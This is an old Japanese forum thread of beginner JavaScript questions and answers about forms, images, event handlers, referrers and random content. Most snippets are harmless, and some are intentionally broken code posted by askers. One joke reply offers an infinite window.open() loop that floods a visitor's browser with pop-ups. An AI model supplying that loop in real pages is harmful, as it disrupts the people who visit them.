+ JavaScript の質問用スレッド vol.14 +
483 :
厨房もどき :
02/12/07 12:44 ID://7K8dvZ
485 :
Name_Not_Found :02/12/07 14:21 ID:c27c5M/+
for(;;) window.open() これが最高でしょ
488 :
Name_Not_Found :02/12/07 18:59 ID:zAd0rf2y
IF文について教えていただきたいのですが or(||)を複数使いたいのですが下記のソースだと 3段目(cnt==8)以降が反映されていないようなのです。 この書式は間違えているのでしょうか? function test(cnt) { if ((cnt == 3)||(cnt == 5)||(cnt == 8)||(cnt == 10)) { alert("hoge"); }
489 :
厨房もどき :02/12/07 19:50 ID://7K8dvZ
そうでつか。。どうもありがとうございました。 他の方法でやってみます。
>>488 合っていると思えるが。ときに「{」より「}」が1個少ないけど
それはいいのね?
491 :
488 :02/12/07 20:48 ID:zAd0rf2y
>490 functionの}は書き込みミスで本当は入ってます。 構文的に問題が無ければcntの値がおかしいだけだと思いますので 見直してみます。有難うございました。
492 :
Name_Not_Found :02/12/07 22:42 ID:iUbnP5tG
リストボックス1(sel_place)を変更すると リストボックス2(sel_city)の内容が変わる スクリプトを書いたのですが 「form.sel_city.options[0].text = "北海道";」を 「obj.name.options[0].text = "北海道";」 のようにFunctionの引数を利用したいと書き直してみました。 しかし「NULLまたは0」とエラーが出てしまいます。 このような事は可能でしょうか? <html><haed><script type="text/javascript"> <!-- function select_city(obj) { if (obj.selectedIndex == 0) { //obj.name.options[0].text = "北海道"; form.sel_city.options[0].text = "北海道"; form.sel_city.options[1].text = "秋田"; } else { form.sel_city.options[0].text = "沖縄"; form.sel_city.options[1].text = "福岡"; } } //--> </script></head><body> <form action="" name="form"> <select name="sel_place" onchange="select_city(this)"> <option>北</option><option>南</option></select> <select name="sel_city"> <option>北海道</option><option>秋田</option></select> </form></body></html>
> obj.name.options[0].text = "北海道"; obj.options[0].text = "北海道"; だと思う… name って何?
494 :
492 :02/12/07 23:16 ID:iUbnP5tG
>>493 どもです
あぁ、オブジェクトの構成が分かっていないみたいです・・・
しかもこの方法だと自分自身が変わってしまうし。
勉強してきます
1〜10の数字それぞれに処理を割り当てて、 乱数発生後、その乱数の数字とマッチした処理を10回繰り返す。 (各処理は一度だけ) ↑のようなスクリプトを作りたいのですが・・・ 配列等の使い方がよくわかりません・・・。 乱数発生のところはできてるのですが、どういうループ文を書けばいいのか ちょっとわからないのです。 よろしければご尽力いただけませんでしょうか?
496 :
481 :02/12/08 06:07 ID:???
>>482 どうもありがとうございました。
ありがたく使わせていただきます!!
JavaScriptでホスト名やIPで判断してのアクセス制限は可能でしょうか。 可能でしたら、どう書けばよろしいのか教えていただけると助かります。
>>495 function f(c){return function(){for(var i=0;i<10;i++)alert(c);};}
[f('!'),f('?'),f('%'),f('@'),f('$')][Math.floor(Math.random()*5)]();
499 :
Name_Not_Found :02/12/08 09:21 ID:Mok1hTGv
>>497 できない。そういうことはWebProg板へ。
>>495 別にできると思うけど、乱数は常に1〜10を均等の確率で
出すの?そうすると最後の方では乱数を出しても出しても
残っている動作に当たらなくなってイライラするんでは。
>>495 10種類の処理を、ランダムな順番で1回ずつ実行する、ってことだろうか?
数字と処理との対応づけは、関数の配列を作ればいい。
例) A[0]=function(){ 処理; }; A[1]=function(){ 処理; };
呼び出すときは A[i](); とか F=A[i]; F(); とか。
配列のシャッフルが過去ログにあったと思うから
それと組み合わせればいいんじゃないかな。
503 :
Name_Not_Found :02/12/08 19:30 ID:ja274gdj
>>502 だから、まずあんたがどういう風に実現しようとしたかを述べなくちゃ。
504 :
Name_Not_Found :02/12/08 22:11 ID:g6UNEOGP
自分で調べたのですが解りませんでした。 すみませんが教えて下さい。 親ウインドウのサイズは指定できるのでしょうか? スクリプトも教えて頂けたら非常に助かります。
506 :
Name_Not_Found :02/12/09 00:06 ID:XV3B1u7O
>>504 何もやってないんじゃん。横じゃなく縦にスクロールさせている
がvol.10の701とか参考になるのでは。
507 :
Name_Not_Found :02/12/09 00:10 ID:LI/cXntq
508 :
504 :02/12/09 01:08 ID:iz32wcsp
509 :
497 :02/12/09 04:12 ID:???
510 :
Name_Not_Found :02/12/09 08:06 ID:OmlE8V2C
511 :
bloom :02/12/09 09:09 ID:oTziVaIn
512 :
Name_Not_Found :02/12/09 15:44 ID:WNy+LIqp
すんません、ちょいと説明しにくいんですが。 ■(画像1) □(画像2) とします。 そして ■リンク1 ■リンク2 ■リンク3 というページがあるとします。 ここでリンク2という「文字」にマウスのカーソルが触れたら ■リンク1 ■リンク1 ■リンク2 ⇒ □リンク2 ■リンク3 ■リンク3 となるようにはしました。 さらにここでリンク2の文字にマウスを伸せたときに音がなる様にしたいのですが。 <A href="../xxx/xxx.html" onMouseover="document.pos1.src=lmp1.src" onMouseout="document.pos1.src=lmp0.src" onmouseover="playAudio(0)" onmouseout="stopAudio(0)" onclick="playAudio(1)" target="yyy">ZZZ</A> とやってもだめでした。 この場合どうすればよろしいのでしょう。
□□□□■□□□□□■□□□□□□□□□□□□□□□□□□□□□ □□□■■□□□□□■□□□□□□□■■■■■■■■■■■■□□ □□■■□□□□□■■■■■■□□□□□□□□□□□□□■■□□ □■■□□■□□□■□□□□■□□□□□□□□□□□□■■□□□ □□■□■■□□■■■□□■■□□□□□□□□□□□■■□□□□ □□□■■□□■■□■■■■□□□□□□□□□□□■■□□□□□ □□■■□□□□□□□■■□□□□□□□□□□□■■□□□□□□ □□■□□□■□□□■■■■□□□□□□□□□□■□□□□□□□ □■■■■■■□□■■□□■■□□□□□□□□□■□□□□□□□ □□□□■□□□■■□□□□■■□□□□□□□□■□□□□□□□ □□■□■□■□□□□■■□□□□□□□□□□□■□□□□□□□ □□■□■□■□□□□□■■□□□□□□□□□□■□□□□□□□ □■■□■□■□□□□□□□□□□□□□□□□□■□□□□□□□ □■□□■□□□□■■■□□□□□□□□□□□□■□□□□□□□ □□□□■□□□□□□■■■□□□□□□□□□□■□□□□□□□ □□□□■□□□□□□□□■■□□□□□□■■■■□□□□□□□
514 :
Name_Not_Found :02/12/09 15:52 ID:x8JQi6es
function op() { window.open('file:///c:'); } <input type="button" value="開く" onclick="javascript:op();"> まあ使い道は良いとして、ボタンを押すとCドライブを開くプログラムがあるとします。 今までの環境では問題なく動いたのですが、IE6の最新SPを当てると、 「アクセスが拒否されました。」というエラーが出てしまいます。 原因がわかる方よかったら教えていただけないでしょうか?
515 :
Name_Not_Found :02/12/09 16:02 ID:CYnTbOPZ
>>514 だからセキュリティ制約が強くなったため。制約を弱く設定できる
かどうかは知らない。Mozilla系もサーバからダウンロードしてきた
ページではfile: URLが使えないようになってるので不便だが、時代
の趨勢だからしかたないと思っている(危ないブラウザは消え去るのみ)。
>>513 この14(つーことは13000レス以上!)も続いているスレが終了するなんて
無理ぽー。
>>512 onmouseover等を2回書いちゃだめよ。「onmouseover="動作1;動作2"」
のようにセミコロンでつなげて1つにして書く。
516 :
512 :02/12/09 16:10 ID:???
>>515 神キタ━━━━━(゚∀゚)━━━━━!!!!
さんくすこ。
なにせ手をつけ始めたばっかなんで。
めちゃくちゃたすかりますた。
ありがとー!!
<a onmouseover="setText('text1','文字列')" onmouseout="setText('text1','文字列')" href="アドレスl" target=_blank> エラーがでてしまうんですが、このスクリプトに間違った部分がありますか?
>>517 もしかして私たちのことエスパーかなにかだと思ってます?
>>518 間違ってるかどうかを聞かれてるだけだから、
間違ってないと答えておけば万事解決だと(略
520 :
Name_Not_Found :02/12/10 00:14 ID:6UhgSIm1
521 :
Name_Not_Found :02/12/10 02:24 ID:bzH0fJfL
setAttribute()でイベントハンドラの変更は出来ないのですか? document.getElementById("hogeX").setAttribute('onclick','afo()'); ???
>>521 そのコードは間違ってない。Mozillaならそれで動く。
IEの場合は setAttribute('onclick', function(){afo();}) のように
第2引数を文字列でなくFunctionオブジェクトにすれば動く。
# 同様に、getAttribute('onclick') もFunctionオブジェクトを返してくる。
明らかにDOM非準拠のおかしな実装なのでIEの挙動を信用はしないこと。
<input type="image" src="***.gif" width="50" height="50"> これにロールオーバーをかけたいのですがどうやればいいのでしょうか。
524 :
521 :02/12/10 11:33 ID:???
526 :
Name_Not_Found :02/12/10 12:30 ID:4tQv2lUv
527 :
Name_Not_Found :02/12/10 12:40 ID:4tQv2lUv
>>523 GeckoでもIEでも、<input type="image" ...>はなんかうまく
操作できないみたいね。普通の<img src="...">にしてロールオーバ
つけて、onclickで提出データを組み立ててから提出するんじゃだめ?
<input type="image" src="1.gif" onMouseOver="this.src='2.gif'"> IEで動いた。
529 :
Name_Not_Found :02/12/10 13:01 ID:4tQv2lUv
>>528 げーん、ほんとだ。elements配列からだとうまく取れないもよう。
getElementById()を使うかthisを渡せば大丈夫なんだ。
hoge = str.split(/\r\n|\r(?!\n)/); 改行コードで文字列を分割したいのですが、 ネスケだと分割された文字列に改行コードが混ざってしまいます。 どうすれば解決できますか?
var hoge = str.split(/\r\n?|\n/);
533 :
Name_Not_Found :02/12/10 15:16 ID:pYr8bEmu
TDの壁紙を、リロードするたびに ランダムに入れ替えたいのですが、画像が表示されません。 BODYの壁紙をランダムに変えるやり方はネットで見つけました↓ <script language="JavaScript"> <!-- //splan created var splan_bg1="壁紙のファイル名1を書きます" var splan_bg2="壁紙のファイル名2を書きます" var splan_bg3="壁紙のファイル名3を書きます" var cur=Math.round(6*Math.random()) if (cur<=1) splan_bg=splan_bg1 else if (cur<=4) splan_bg=splan_bg2 else splan_bg=splan_bg3 document.write('<body background="'+splan_bg+'" bgcolor="#F7F9D2">') //--> 特定のTDにクラスをつけて、そこの壁紙だけ入れ替えたい場合は どう書けばいいのでしょう?
534 :
Name_Not_Found :02/12/10 15:47 ID:4tQv2lUv
>>533 ホレ。reload時のみ入れ換えってダサいと思うので1秒ごとに入れ換え
にしてあるけど、reload時のみがよければsetInterval()を外す。Gecko/IE。
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<html><head><title>???</title>
<style type="text/css">
.class1 { background-image: url(t0.png) }
</style>
<script type="text/javascript">
var imgs = ['t0.png','t1.png','t2.png','t3.png'];
function chg() {
var i = imgs[Math.floor(Math.random()*imgs.length)];
var s = '.class1 { background-image: url(' + i + ') }';
if(document.all) {
document.styleSheets[0].cssText = s;
} else if(document.getElementById) {
document.styleSheets[0].deleteRule(0);
document.styleSheets[0].insertRule(s, 0);
}
}
</script>
</head><body onload="setInterval('chg()', 1000)">
<table border="2">
<tr><th class="class1">Test</th><th>Test</th><th class="class1">Test</th></tr>
</table>
</body></html>
質問です。 リンク先の例えばイメージ画像を表示させる時ブラウザのサイズを指定するスクリプト のリンク先ではなくリンクを張るソースに書くスクリプトがわからないのですが、ご教授 ください。 一応 リンク先のソースに書くスクリプトは<SCRIPT Language="JavaScript"> <!-- function openwin(url) { w = window.open(url, 'win','width=750,height=575,status=no,scrollbars=yes,directories=no,menubar=no,resizable=yes,toolbar=yes,titlebar=no'); } //--> </SCRIPT> で合っているとと思うのですが。
536 :
535 :02/12/10 16:40 ID:???
追記です
ちなみにリンクのタグですが
<a href="
http:// " target="_blank">
<img src="../image/bt_02.jpg" width="66" height="18" border="0"></a>
とゆう形です。
<a href="javascript:openwin('URLここ')"> 「w = 」はなくてもイイ。
書き込みボタン押す前にリロードしたらよかった、、、
質問させて頂きます。トップページを開いた時ホームページにランダムにFLASHが 表示されるようにしたいの ですがソースは <html> <head><title></title><head> <center> <script language="JavaScript"> <!-- flash=new Array("コメント1","コメント2","コメント3","コメント4","コメント5"); enbed=new Array("5","4","3","2","1"); i= Math.floor(Math.random() * flash.length); document.write("<p><ENBED src='ファイル名" +ENBED[i] + ".swf></p>"); document.write("<b>,flash[i], "</b>"); //--> </script> </center> </body> </html> で大丈夫でしょうか?詳しい方宜しくお願いします。
×ホームページ ×<Center> スクリプトは数カ所細かいミスがあるけど大まかにはあってる。 たぶん、そのままやっても動かないだろうが、とりあえずやってみ。
centerタグはいらないという意味ですか?それとホームページ×とは?
何でわざわざDOCTYPE宣言入れて説明するの?
設定オフにしている人だとソースがそのまま書かれちゃうから。じゃないんですか?
<html> <head><title></title></head> <script language="JavaScript"> <!-- flash=new Array("コメント1","コメント2","コメント3","コメント4","コメント5"); enbed=new Array("5","4","3","2","1"); i= Math.floor(Math.random() * flash.length); document.write("<p><ENBED src='ファイル名" +ENBED[i] + ".swf></p>"); document.write("<b>,flash[i], "</b>"); //--> </script> </html> これでダメかな?
ダメかなって、やってみろよ。 <enbed>の ' が抜けてる。
549 :
Name_Not_Found :02/12/10 21:10 ID:AEmoB0cy
ヒマなんで
>>502 を作ってみた。
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<html><head><title>???</title>
<style type="text/css">
#d0 { position:relative; width: 200px; height: 20px;
overflow:hidden; border: blue solid 2px }
#d1 { position:absolute; top:2px; left:0px }
</style>
<script type="text/javascript">
var msgs = ['これは鉛筆です','あなたはいかがですか','おはようございます'];
var mc = 0, pc = 0;
function step() {
var d1 = document.getElementById('d1');
if(--pc > 0) { d1.style.left = pc + 'px'; setTimeout(step, 20); return; }
if(pc == 0) { setTimeout(step, 1000); return; }
d1.style.left = (pc=200) + 'px'; d1.innerHTML = msgs[mc++ % msgs.length];
setTimeout(step, 20);
}
</script>
</head><body onload="step()">
<div id="d0"><div id="d1">ABCDE</div></div>
</body></html>
ハハハ
質問です。 ファイルのアップロード中の画面なのですが、 ブラウザを閉じられるとアップロードが失敗してしまう為 onBeforeUnloadでアラートを出すようにしました。 ですが、アップロード正常終了時に次の画面に飛ぶ際にも アラートが出てしまい困っています。 特定のURLに飛ぶときのみアラートを外したいのですが、 なにか方法はありませんか? <HTML> <head> <script language="JavaScript"> <!-- function end(){ window.event.returnValue = '移動すると、リストのアップロードが正確に行われない可能性があります' } //--> </script> </head> <body onBeforeUnload="end()">終了しようとすると質問されます。<p> </body> </HTML> よろしくお願いいたします
(´-`).。o O(そんなイベントハンドラあったのか・・)
(´-`).。o O(cookieくらいしか思いつかん)
>>551 その「アップロード正常終了時に次の画面に飛ぶ際」っていうのは
CGIスクリプトのほうで処理するの?
閲覧者がリンクかボタン押して飛ぶのなら、そのときにスイッチをtrueにして
スイッチがtrueならアラートださないようにとか・・・
555 :
551 :02/12/10 23:27 ID:???
>554 えーと、Javaです。処理後に次のページが表示されるようなツクリになっています。 >552 onBeforeUnloadはIEしか使えないみたいです。こまりものですがまぁしょうがないと思ってます
Javaってのは文字通りJavaですよね、JavaScriptじゃなくて。 いやアップローダーってあんまり詳しくないんで・・・。 CGIスクリプト側の処理でジャンプしようとしているURLをJavaScriptで取得することなんかできるのかなぁ。 cookieかなぁ。アップロード終わったら成功したしるしにクッキー発行。 end()が呼ばれたときにクッキー読みにいって、成功のしるしがあるかどうかチェック。 めんどくさそう もっと頭のよい人現れるの期待してください
最初に警告しておけば?
フォームの送信先を隠しフレーム(或いはiframe)にするとか。 サーバが返すHTMLにスクリプト仕込めば フレーム内の変数見ればサーバが応答したかどうかチェックできるし ページ移動したけりゃonloadでやればいいし。 でもまあ予め警告が一番お手軽でおすすめだな。俺も。
559 :
Name_Not_Found :02/12/11 13:26 ID:JoPQeSBr
FlashMX Playerがインストールされてるか、 されてないかを判別するScript作ってくれニダ! というか、作れニダ!お願いしますニダ! ごちゃごちゃ言ってると謝罪と賠償ニダ! アイゴー!
>>559 if(confirm("FlashMX Playerがインストールされていますか?")) {
alert("されてます。");
}
else {
alert("されてません。");
}
ワラタ
>>559 マイケロメディア製品は一通り持ってますが
FlashMX Player は初耳です。
それは新製品なんですか?
和檸檬
566 :
Name_Not_Found :02/12/11 15:48 ID:TR4gvuGy
javascriptを使用して、 location.href = "url"; location.replace("url"); この2つではurlから見たHTTP_REFERERがnoneになるのですが javascriptで自動的にページを移動して,移動したページからリファを 取得する方法ってありますか?
>>566 意味がよく分からないんだが。JavaScriptで別のページに移動する
のはいいとして、HTTP_REFERRERは取れるとすればその「移動元の」
ページ、つまりJavaScriptが埋めてあるページのURLが取れるわけ
だよね。で、CGI側にそのJavaScriptが埋めてあるページのURLを
HTTP_REFERRERの値として取得させたいということ?
568 :
566 :02/12/11 18:15 ID:???
>>567 さん
はい、そのとおりです。
すみません、上手く説明ができていませんでした。
簡単に言うと、JavaScriptで別のページに移動して、
移動したページでdocument.referrerを取得したいということです。
(cgiは使用しないことになりました)
location.href = "url";
location.replace("url");
この2つで移動してきた場合はdocument.referrerが無いようなので
document.referrerが取得できるようにもとのページから自動的に
移動させたいのです。
location.href = "url?" + location.href; とかやって、 location.searchで受け取るとか…
570 :
Name_Not_Found :02/12/11 18:43 ID:8JQSwQ4/
onClickなどのイベントによって、定義した関数を実行することは出来たのですが、 イベントなしで開いてすぐに関数を実行するときの実行命令のしかたがわかりません。 どうかどなたか教えてくださいませ。 おねがいします。
>>568 cookie が楽なんじゃない?
>>570 関数の外に関数を呼び出す文を書けばいいと思うけど。そういう話ではない?
<script> function Func() { ... } Func(); </script>
573 :
Name_Not_Found :02/12/11 18:54 ID:8JQSwQ4/
たとえば開いてすぐにscrollを実行する一番シンプルなやり方などを教えていただけると 意味がわかりそうなのですが・・・
<script> scrollTo(x,y); </script> 開いてすぐじゃ内容がウィンドウの高さ分なくてスクロールしないだろうけどな。
575 :
566 :02/12/11 19:03 ID:???
location.search.substring(1)とかして上手くいきそうです。
この場合もとのサイトじゃなくても?以下さえ同じな通ってしまいますが。
確かにcokkieの利用が一番実用的かもしれませんね。
考慮してみます。
みなさんありがとう御座いました。
>>570 さん
>>572 さんのコードを<body>ここ・・・</body>
に記述すればいいのでは?
576 :
570 :02/12/11 19:16 ID:8JQSwQ4/
>>572 ,575さん
なるほど、そういう書き方でいいのですか。
ありがとうございます。
普通に<head></head>内に
<script>
function Func() { ... }
</script>
をかいといて<body></body>内に
<script>
Func()
</script>
だけでも大丈夫でしょうか? どうでしょうか??
>>574 さん
確かにスクロールしませんでした。
ひらいてすぐスクロールってのは現実的に無理なのでしょうか?
>>576 <head>に両方書いちゃっていいよ。document.write() とかあるなら<body>内だけど。
>スクロール
ふつう <body onload="..."> ってonload使うけどなぁ。
>>576 <body onload="Func()">
ページの内容が読み込まれてから、スクリプトを実行
579 :
570 :02/12/11 19:25 ID:8JQSwQ4/
すみません、内容おもいっきりかぶるのですが、 もういちど整理して質問させてください。 <head>内で定義するのと<body>にはいってから定義するのとでは なにか違いはあるのでしょうか。 勝手にぼくはLINGOでいうムービースクリプトのような定義を<head>内でやらなきゃなんないもんだと 思っていました。
580 :
570 :02/12/11 19:29 ID:8JQSwQ4/
>>577 さん
>>578 さん
>document.write() とかあるなら<body>内だけど。
なるほどなるほど! ちゃんとわかってきました。
そういうことかぁ。
で、<body onload="Func()"> !!
こんなのがあったのですね! ほんとにどうもありがとうございます。
581 :
Name_Not_Found :02/12/11 19:34 ID:PUQGLkh9
どこで聞いたらいいのか分からないのですが フォトショップのデータをワードに取り込むことはできますか? どうやればいいのですか?
誤爆のようです。
583 :
Name_Not_Found :02/12/11 20:10 ID:bWsJq6XL
IEを使っていて、テキストボックスがいくつもあるメールフォームで、 テキスト入力中にエンターを押すとsubmitされてしまうんですが、 これを「ボタンを押したときだけsubmitされるようにする」にはどう すればよいのでしょうか?
ボタンの onclick でフラグを立てて フォームの onsubmit でそのフラグの有無を返す。
585 :
Name_Not_Found :02/12/11 21:44 ID:eouxce2V
クリックで画像を変えて別フレームのサイトをジャンプさせるのを作っているのですが、 リンクが入れれません <SCRIPT language="JavaScript"> <!-- imgnum=1; function change(){ if(imgnum==1){ document.home.src="01.gif"; imgnum=2; }else if(imgnum==2){ document.home.src="01.gif"; imgnum=1; } } // --> </SCRIPT> </HEAD> <BODY> <CENTER> <A href="javascript:change()"><IMG src="01.gif" name="home" border=0></A> 画像の変化はできたのですが、リンクどうやって入れればいいですか? JavaScriptはほとんど素人なので、、、教えてくれるとうれしいです
<A href="
http:// 〜" target="フレーム名" onclick="change();return true"
><IMG src="01.gif" name="home" border=0></A>
587 :
Name_Not_Found :02/12/11 21:49 ID:eouxce2V
早い回答ありがとん 早速試してみます Javaはまだかじりたてで、、、
来る・・
589 :
Name_Not_Found :02/12/11 22:54 ID:Hggfofvr
初心者スレッドで聞いたらジャバで出来るって言われたので こっちで聞きます。 ホームページに入ったら、有無をいわさずフルスクリーンにして、 ホームページにいる間はウインドウサイズを変えられなくする方法を 教えてください。あと、IE以外のブラウザで見ようとした場合は どこかに飛ばしてしまう 方法も教えてください。
>>589 はい、どうぞ(*^^*)
<html>
<script>
var w = window.open('','','fullscreen=yes');
w.document.open();
w.document.write('<html><body bgcolor="black" text="white">Alt+F4</body></html>');
w.document.close();
</script>
</html>
592 :
535 :02/12/12 00:26 ID:???
Imageを呼び出すのにブラウザサイズを固定して呼び出しているんですが、何故か そのImageと同サイズのブラウザサイズをしているのに、余計な余白が出てしまうのですが 解決するにはそうすればよいでしょうか。
594 :
Name_Not_Found :02/12/12 08:41 ID:jhNb+7k0
595 :
Name_Not_Found :02/12/12 09:22 ID:b70U+guJ
渡される引数の数が不定で、引数を配列で受けたいのですが、どうすればいいのでしょうか。 function x(hairetsu){} の様にしたいのです。
>>595 var A = ['あ','い','う']; x(A); で渡せるが。意味違う?
あぁう それです! A=("a","b","c")ってやってました… 有難う御座いました。
599 :
Name_Not_Found :02/12/12 11:22 ID:TKNDX4cM
すみません、、 <p id="ID">あいうえお</p> の文字列「あいうえお」を取得するにはどうすればよいのでしょう? document.getElementById("ID").text? これでは取得出来ないですし。。 nodeValueでも得られないですし。。
>>599 テキストはそれ自体が一つのノード(TextNode)。
それが要素の内容であるならば、要素の childNodes 等からアクセスする。
その例の場合だったら:
document.getElementById("ID").firstChild.nodeValue; とかね。
601 :
Name_Not_Found :02/12/12 11:49 ID:qV6cRG80
しつもんです。 今現在、 function random(n) { if (n<=0.25) document.write( "<IMG SRC='stuffs/sige(s).gif'>" ); else { if (n<=0.5) document.write( "<IMG SRC='stuffs/sige(b).gif'>" ); else { if (n<=0.75) document.write( "<IMG SRC='stuffs/sige(n).gif'>" ); else { if (n<=1) document.write( "<IMG SRC='stuffs/sige(u).gif'>" ); }}} } と random(Math.random()) みたいな感じで、複数の画像からランダムでひとつ表示するようにしているのですが、 ぼく自身のチェック用に、たとえば「"n"のキーを押しながら隠しボタンを押すと"sige(n)"が出る」 といったような隠し機能をつけることって可能でしょうか??? アップしたやつチェックするときに任意の画像が出せないと不便で・・・ もし可能ならどうか教えていただけないでしょうか? おねがいします。
602 :
Name_Not_Found :02/12/12 12:33 ID:coTSYzaq
>>598 もともと関数の引数は関数内ではargumentsという配列に格納されている
ので、わざわざ配列にしなくても可変引数を扱うことはできるけどね。
>>601 ホレ。画像の上でControl+クリックすると何番にするか聞いてくる。N4未対応。
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<html><head><title>???</title>
<script type="text/javascript">
var i0, imgs = ['t1.png','t2.png','t3.png','t4.png'];
function init() {
i0 = document.getElementById('i0');
i0.src = imgs[Math.floor(4*Math.random())];
if(document.all) {
i0.onclick = function() { if(window.event.ctrlKey) chg(); }
} else if(i0.addEventListener) {
i0.addEventListener('mousedown', function(e){if(e.ctrlKey)chg();}, true);
}
}
function chg() { i0.src = imgs[parseInt(window.prompt('Image#?',0))]; }
</script>
</head><body onload="init()">
<p><img id="i0" src="t0.png" alt="random"></p>
</body></html>
603 :
599 :02/12/12 12:36 ID:???
>>600 どうもありがとうございます。
・・すみません、基礎勉強が全然足りていませんでした。
604 :
Name_Not_Found :02/12/12 12:50 ID:DgbdPAUm
質問です テキストエリアで選択されたテキストを取り出すことは できないのでしょうか? 掲示板などで書き込み際にテキスト一部を選択してボタンを押すと その部分だけ<b></b>タグで囲まれる、という感じのスクリプトを 作りたいのですが…。
605 :
Name_Not_Found :02/12/12 12:58 ID:c7fv/8Oz
すいません GIFやJPG画像などにリンクを張ると淵がつくんですが これはスクリプトでとることができますか?
>>604 過去ログ読めとの一言で終わりたいとこだが、
過去ログVol.10の274からを参考にしる。
>>605 HTML、もしくはCSSの範疇です
HTMLでやるなら
<a href="..."><img src="***" border="0"></a>
607 :
605 :02/12/12 13:24 ID:???
>>606 早速ありがとうございます。説明が足りませんですた・・・逝ってきます
MAP AREAで画像を区切ってる場合はどうなんでしょうか?
border="0"入れてもダメです・・・・鬱
608 :
604 :02/12/12 13:35 ID:???
>>606 document.selection.createRange().text で選択されている部分が
指定させるのですね、ありがとうございます。
スクリプトを自在に組める、ってどんな気分ですか?
611 :
601 :02/12/12 15:10 ID:qV6cRG80
replace()やmatch()で、ある文字列に一致したら 検索を中止するということはできますか?
グローバルマッチでなければ普通はマッチしたところで終了すると思うが。
こういうことをやりたいのかと思った… var stopTerm = "ここまで"; var text = "テストでテストここまでテスト。"; var ar = text.split(stopTerm); ar[0] = ar[0].replace(/テスト/g, "眠い"); alert(ar.join(stopTerm));
615 :
Name_Not_Found :02/12/12 17:59 ID:xb44SQU7
>>612 もともとmatch()は最初に一致するとこしか見つけないから
検索を中止も何もないと思うが。replace()でってことは、
途中まで置換するけどある条件が成り立ったらそこ以降は
置換しないってこと?(検索を止めるのは難しいかも。)
>>610 あのね、組める人にとっては当り前なんだよね。日本語が
喋れるってどんな気分ですかと言われるようなもの。でも
プログラミングの場合、無限に上手がいるからな。自分など
まだまだですたい(なぜか九州弁)。
616 :
612 :02/12/12 18:07 ID:???
説明不足スマソ。 Xに一致した場合はYに置き換える。 ただしXの前にBがあった場合は何もしない。 "AAAXAAAXAAA" → "AAAYAAAXAAA" "AAAXABAXAAA" → "AAAYABAXAAA" "ABAXAAAXAAA" → "ABAXAAAXAAA"
617 :
612 :02/12/12 18:12 ID:???
614氏が既に書いてました。スマソ
>>616 やっつけだけどこんなのとか?
String.prototype.replace2 = function (re1, re2, str) {
var b=this.match(re2),
f=function (m,o,s) { return b && b.index < o ? m : str; }
return this.replace(re1, f);
}
alert( 'AAAXAAAXAAA'.replace2( /X/, /B/, 'Y' ) )
alert( 'AAAXABAXAAA'.replace2( /X/, /B/, 'Y' ) )
alert( 'ABAXAAAXAAA'.replace2( /X/, /B/, 'Y' ) )
IE5.0ってJavaScript1.3対応してないんだっけ?
>>618 が動かない…
620 :
Name_Not_Found :02/12/12 20:12 ID:44ZzydaH
別フレームのホームページによって画像が変わるスクリプトって作れますか? できたらお願いします
>>619 IE5.0(JScript5.0)は replace の第二引数に関数を指定できない。
配列操作関係も使えないメソッド多いし(shift/pushとか)、
JavaScript1.3 対応とはちょっと言い難い実装だよ。微妙に痛い。
622 :
Name_Not_Found :02/12/12 20:23 ID:xb44SQU7
>>620 ものすごいガイシュツなんで誰も答えたくないだろう。過去ログ読め。
624 :
Name_Not_Found :02/12/13 07:27 ID:+CXuNibz
DOMで作ったフォームが動かないのですが。仕様なの?
document.getElementById('write').innerHTML="<form action=\"form.cgi\" method=\"GET\">"; こんなかんじに無いところに1回だけ作っているのですが。 IEモジラオペラ最新で、ボタン押しても画面が変わりません。
>>626 それさあ…innerHTMLって、設定するごとにタグを解析するんだよ。
開始タグだけ設定なんかしたら即刻終了タグの補完が行われる。空のform作るのと一緒。
そのあと innerHTML+='<input 〜'; とかやってもformの外に追加してることになる。
formの開始タグから終了タグまで一つの文字列にしてからinnerHTMLにいれてみな。
とても横長い記述になってしまいましたが動きました。ありがとうございます。
selectはdocument.fm1.elements['food'].selectedIndex で取れるんですが、 radioでチェックしてあるものの値をどう取ればよいのでしょう。 document.fm1.elements['food'].selected document.fm1.elements['food'].selected.value document.fm1.elements['food'].checked document.fm1.elements['food'].checked.value document.form.input[i].value などではできませんでした。
最後のは、document.fm1.elements['food'].valueの間違いです。
631 :
Name_Not_Found :02/12/13 12:35 ID:wwUtd37S
質問させて下さい。料金を計算するスクリプトを組みたいのですが 良くある単価×個数という形ではなく、リストAAAの中のaaaは500円、 bbbは5000円、リストBBBの中のcccは10000円、dddは15000円といった感じで 各リストの合計と総合計が出る形にしたいのです。 function totalPrice(){ var numCode01 = document.inputForm.code01.selectedIndex; var priceCode01 = 1 * numCode01; document.inputForm.code01_price.value = priceCode01; var numCode02 = document.inputForm.code02.selectedIndex; var priceCode02 = 1 * numCode02; document.inputForm.code02_price.value = priceCode02; var numCode03 = document.inputForm.code03.selectedIndex; var priceCode03 = 1 * numCode03; document.inputForm.code03_price.value = priceCode03; var total = priceCode01 + priceCode02 + priceCode03; document.inputForm.total_price.value = total; } と組んで <select name="code01" onChange="totalPrice();"> <option value="500">aaa</option> <option value="5000">bbb</option> </select> としてみたのですが、うまくいきません。基本的な知識が無いまま組んでしまったので どこが悪いのかも分かりません。どうかご助言お願いします。
632 :
631 :02/12/13 12:38 ID:wwUtd37S
省略された後半部分です。 var total = priceCode01 + priceCode02 + priceCode03; document.inputForm.total_price.value = total; } と組んで <select name="code01" onChange="totalPrice();"> <option value="500">aaa</option> <option value="5000">bbb</option> </select> としてみたのですが、うまくいきません。基本的な知識が無いまま組んでしまったので どこが悪いのかも分かりません。どうかご助言お願いします。長文申し訳ありません。
>>630 foodという名前のradioが複数あればdocument.fm1.elements.foodは配列になる。
selectedIndex みたいに直接取得はできない。ループ回してcheckedついたradioを検索。
>>631 select の option の値をどうやって取得すればいいのかを調べてみ。
634 :
Name_Not_Found :02/12/13 14:02 ID:Lq+EU8RP
ちょっと質問させてくだされ。 スクリプト自体は.jsにして外に置いてあるんだけど(日本語処理あり)、 .htmlファイル内で<metaタグ使ってShift_JIS指定してないと win98+IE5.01のマシンでエラーが起きたりしちゃうのはなぜ? しかも、まったく同じ更新バージョンのIEなのに エラーが起きたり起きなかったりする。なんだか気持ち悪いんですけど..
635 :
Name_Not_Found :02/12/13 14:07 ID:rqDsqGv7
>>634 じゃあ聞くけど、JSファイルに書かれている日本語の文字コードが
SJIS、EUC、iso-2022-jp(JIS)のどれなのかはブラウザはどうやって
